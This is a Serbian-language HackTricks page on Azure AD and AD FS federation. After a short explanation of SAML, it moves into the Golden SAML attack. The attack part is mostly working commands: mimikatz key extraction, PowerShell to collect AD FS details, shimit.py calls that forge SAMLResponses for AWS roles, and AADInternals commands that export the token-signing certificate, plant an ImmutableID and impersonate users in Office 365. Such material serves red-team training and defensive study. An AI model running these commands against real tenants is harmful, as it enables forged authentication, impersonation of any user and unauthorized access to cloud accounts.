Az - Federation

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Od dokumenata:Federacija je skup domena koji su uspostavili poverenje. Nivo poverenja može varirati, ali obično uključuje autentifikaciju i gotovo uvek uključuje autorizaciju. Tipična federacija može uključivati broj organizacija koje su uspostavile poverenje za deljeni pristup skupu resursa.

Možete federisati vaše on-premises okruženje sa Azure AD i koristiti ovu federaciju za autentifikaciju i autorizaciju. Ovaj način prijave osigurava da se sva autentifikacija korisnika odvija on-premises. Ovaj metod omogućava administratorima da implementiraju rigoroznije nivoe kontrole pristupa. Federacija sa AD FS i PingFederate je dostupna.

U osnovi, u Federaciji, sva autentifikacija se odvija u on-prem okruženju i korisnik doživljava SSO (Single Sign-On) preko svih poverenih okruženja. Stoga, korisnici mogu pristupiti cloud aplikacijama koristeći svoje on-prem kredencijale.

Security Assertion Markup Language (SAML) se koristi za razmenu svih informacija o autentifikaciji i autorizaciji između provajdera.

U svakoj federaciji postoje tri strane:

  • Korisnik ili Klijent

  • Provajder identiteta (IdP)

  • Provajder usluga (SP)

(Slike preuzete sa https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. Prvo, aplikacija (Provajder usluga ili SP, kao što su AWS konzola ili vSphere web klijent) se pristupa od strane korisnika. Ovaj korak može biti zaobiđen, vodeći klijenta direktno ka IdP (Provajder identiteta) u zavisnosti od specifične implementacije.

  2. Zatim, SP identifikuje odgovarajući IdP (npr. AD FS, Okta) za autentifikaciju korisnika. Zatim kreira SAML (Security Assertion Markup Language) AuthnRequest i preusmerava klijenta ka izabranom IdP.

  3. IdP preuzima kontrolu, autentifikuje korisnika. Nakon autentifikacije, SAMLResponse se formira od strane IdP-a i prosleđuje SP-u preko korisnika.

  4. Na kraju, SP procenjuje SAMLResponse. Ako je uspešno validiran, implicirajući poverenje sa IdP-om, korisniku se odobrava pristup. Ovo označava završetak procesa prijave, omogućavajući korisniku da koristi uslugu.

Ako želite da saznate više o SAML autentifikaciji i uobičajenim napadima idite na:

Pivoting

  • AD FS je model identiteta zasnovan na tvrdnjama.

  • "..tvrdnjesuprostoizjave(naprimer,ime,identitet,grupa), napravljene o korisnicima, koje se koriste pretežno za autorizaciju pristupa aplikacijama zasnovanim na tvrdnjama, smeštenim bilo gde na Internetu."

  • Tvrdnje za korisnika su napisane unutar SAML tokena i zatim potpisane radi obezbeđivanja poverljivosti od strane IdP-a.

  • Korisnik je identifikovan pomoću ImmutableID. To je globalno jedinstveno i čuva se u Azure AD.

  • ImmutableID je čuvan na-prem kao ms-DS-ConsistencyGuid za korisnika i/ili se može izvesti iz GUID-a korisnika.

Golden SAML napad:

Golden SAML

Proces gde Provajder identiteta (IdP) proizvodi SAMLResponse za autorizaciju prijave korisnika je ključan. U zavisnosti od specifične implementacije IdP-a, odgovor može biti potpisan ili šifrovan korišćenjem privatnog ključa IdP-a. Ovaj postupak omogućava Provajderu usluga (SP) da potvrdi autentičnost SAMLResponse-a, osiguravajući da je zaista izdat od strane poverenog IdP-a.

Paralela se može povući sa napadom zlatnim tiketom, gde ključ koji autentifikuje korisnikov identitet i dozvole (KRBTGT za zlatne tikete, privatni ključ za potpisivanje tokena za zlatni SAML) može biti manipulisan da falsifikuje autentifikacioni objekat (TGT ili SAMLResponse). Ovo omogućava impersonaciju bilo kog korisnika, dajući neovlašćen pristup SP-u.

Golden SAML-ovi nude određene prednosti:

  • Mogu se kreirati na daljinu, bez potrebe da budu deo domena ili federacije u pitanju.

  • Ostaju efikasni čak i sa Dvostrukom Autentifikacijom (2FA) omogućenom.

  • Privatni ključ za potpisivanje tokena se ne obnavlja automatski.

  • Promena lozinke korisnika ne poništava već generisan SAML.

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS) je Microsoft servis koji olakšava sigurnu razmenu informacija o identitetu između poverenih poslovnih partnera (federacija). U osnovi omogućava domenskoj usluzi da deli korisničke identitete sa drugim provajderima usluga unutar federacije.

Sa AWS-om koji veruje kompromitovanom domenu (u federaciji), ovu ranjivost je moguće iskoristiti da se potencijalno dobiju bilo koje dozvole u AWS okruženju. Napad zahteva privatni ključ korišćen za potpisivanje SAML objekata, slično kao što je potrebno KRBTGT-u u napadu zlatnim tiketom. Pristup korisničkom nalogu AD FS-a je dovoljan da se dobije ovaj privatni ključ.

Za izvođenje golden SAML napada potrebno je:

  • Privatni ključ za potpisivanje tokena

  • Javni sertifikat IdP-a

  • Ime IdP-a

  • Ime uloge (uloga za preuzimanje)

  • Domain\korisničko ime

  • Ime sesije uloge u AWS-u

  • ID Amazon naloga

Samo stavke podebljane su obavezne. Ostale se mogu popuniti po želji.

Za dobijanje privatnog ključa, potreban je pristup korisničkom nalogu AD FS-a. Zatim, privatni ključ se može izvesti iz ličnog skladišta koristeći alate poput mimikatz. Za prikupljanje ostalih potrebnih informacija, možete koristiti Microsoft.Adfs.Powershell snapin na sledeći način, obezbeđujući da ste prijavljeni kao korisnik ADFS-a:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Sa svim informacijama, moguće je zaboraviti validan SAMLResponse kao korisnik kog želite da predstavljate koristeći shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

Lokalno -> oblak

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Takođe je moguće kreirati ImmutableID korisnika samo u oblaku i impersonirati ih

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated